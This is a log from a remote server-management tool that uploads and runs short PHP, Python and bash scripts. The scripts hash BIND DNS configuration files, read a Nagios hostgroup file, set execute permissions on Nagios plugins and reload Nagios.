MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-12-31 19:55:22: Establishing a connection
2025-12-31 19:55:22: 

PUT: /tmp/pkp807449

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-12-31 19:55:22: 

runuser -l bind -s /bin/bash -c '/tmp/pkp807449; rm /tmp/pkp807449'

2025-12-31 19:55:22: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-12-31 19:56:46: Establishing a connection
2025-12-31 19:56:48: Establishing a connection
2025-12-31 19:56:48: 

PUT: /tmp/pkp939431

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-31 19:56:48: 

chmod 755 /tmp/pkp939431; /tmp/pkp939431; rm /tmp/pkp939431

2025-12-31 19:56:48: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	629
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2025-12-31 19:56:48: 

systemctl reload nagios

2025-12-31 19:56:48: 




2025-12-31 19:56:50: 

PUT: /tmp/pkp178998

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok


2025-12-31 19:56:50: 

chmod 755 /tmp/pkp178998; /tmp/pkp178998; rm /tmp/pkp178998

2025-12-31 19:56:50: 


ok


2025-12-31 19:56:50: 

PUT: /tmp/pkp453249

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-12-31 19:56:51: 

chmod 755 /tmp/pkp453249; /tmp/pkp453249; rm /tmp/pkp453249

2025-12-31 19:56:51: 


ok


2025-12-31 19:56:51: 

PUT: /tmp/pkp796344

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_sensors.php'
echo ok


2025-12-31 19:56:52: 

chmod 755 /tmp/pkp796344; /tmp/pkp796344; rm /tmp/pkp796344

2025-12-31 19:56:52: 


ok


2025-12-31 19:56:52: 

PUT: /tmp/pkp114225

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-12-31 19:56:53: 

chmod 755 /tmp/pkp114225; /tmp/pkp114225; rm /tmp/pkp114225

2025-12-31 19:56:53: 


ok


2025-12-31 19:56:53: 

PUT: /tmp/pkp979167

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_snmp.php'
echo ok


2025-12-31 19:56:54: 

chmod 755 /tmp/pkp979167; /tmp/pkp979167; rm /tmp/pkp979167

2025-12-31 19:56:54: 


ok


2025-12-31 19:56:54: 

PUT: /tmp/pkp289589

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_printer.php'
echo ok


2025-12-31 19:56:55: 

chmod 755 /tmp/pkp289589; /tmp/pkp289589; rm /tmp/pkp289589

2025-12-31 19:56:55: 


ok


2025-12-31 19:56:56: 

PUT: /tmp/pkp265200

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-12-31 19:56:56: 

chmod 755 /tmp/pkp265200; /tmp/pkp265200; rm /tmp/pkp265200

2025-12-31 19:56:56: 


ok


2025-12-31 19:56:57: 

PUT: /tmp/pkp797563

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2025-12-31 19:56:57: 

chmod 755 /tmp/pkp797563; /tmp/pkp797563; rm /tmp/pkp797563

2025-12-31 19:56:57: 


ok


2025-12-31 19:56:58: 

PUT: /tmp/pkp705145

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-12-31 19:56:58: 

chmod 755 /tmp/pkp705145; /tmp/pkp705145; rm /tmp/pkp705145

2025-12-31 19:56:59: 


ok


2025-12-31 19:56:59: 

PUT: /tmp/pkp257568

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok


2025-12-31 19:56:59: 

chmod 755 /tmp/pkp257568; /tmp/pkp257568; rm /tmp/pkp257568

2025-12-31 19:57:00: 


ok


2025-12-31 19:57:00: 

PUT: /tmp/pkp951745

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-12-31 19:57:01: 

chmod 755 /tmp/pkp951745; /tmp/pkp951745; rm /tmp/pkp951745

2025-12-31 19:57:01: 


ok


2025-12-31 19:57:01: 

PUT: /tmp/pkp863370

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_autoupdate.php'
echo ok


2025-12-31 19:57:02: 

chmod 755 /tmp/pkp863370; /tmp/pkp863370; rm /tmp/pkp863370

2025-12-31 19:57:02: 


ok


2025-12-31 19:57:02: 

PUT: /tmp/pkp474765

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok


2025-12-31 19:57:03: 

chmod 755 /tmp/pkp474765; /tmp/pkp474765; rm /tmp/pkp474765

2025-12-31 19:57:03: 


ok


2025-12-31 19:57:45: Establishing a connection
2025-12-31 19:57:46: Establishing a connection
2025-12-31 19:57:47: 

PUT: /tmp/pkp877415

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-31 19:57:47: 

chmod 755 /tmp/pkp877415; /tmp/pkp877415; rm /tmp/pkp877415

2025-12-31 19:57:47: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	629
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2025-12-31 19:57:47: 

systemctl reload nagios

2025-12-31 19:57:47: 




2025-12-31 19:57:48: 

PUT: /tmp/pkp376645

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok


2025-12-31 19:57:48: 

chmod 755 /tmp/pkp376645; /tmp/pkp376645; rm /tmp/pkp376645

2025-12-31 19:57:48: 


ok


2025-12-31 19:57:49: 

PUT: /tmp/pkp221432

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-12-31 19:57:49: 

chmod 755 /tmp/pkp221432; /tmp/pkp221432; rm /tmp/pkp221432

2025-12-31 19:57:49: 


ok


2025-12-31 19:57:50: 

PUT: /tmp/pkp870744

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_sensors.php'
echo ok


2025-12-31 19:57:50: 

chmod 755 /tmp/pkp870744; /tmp/pkp870744; rm /tmp/pkp870744

2025-12-31 19:57:50: 


ok


2025-12-31 19:57:51: 

PUT: /tmp/pkp539249

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-12-31 19:57:51: 

chmod 755 /tmp/pkp539249; /tmp/pkp539249; rm /tmp/pkp539249

2025-12-31 19:57:51: 


ok


2025-12-31 19:57:52: 

PUT: /tmp/pkp820458

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_snmp.php'
echo ok


2025-12-31 19:57:52: 

chmod 755 /tmp/pkp820458; /tmp/pkp820458; rm /tmp/pkp820458

2025-12-31 19:57:52: 


ok


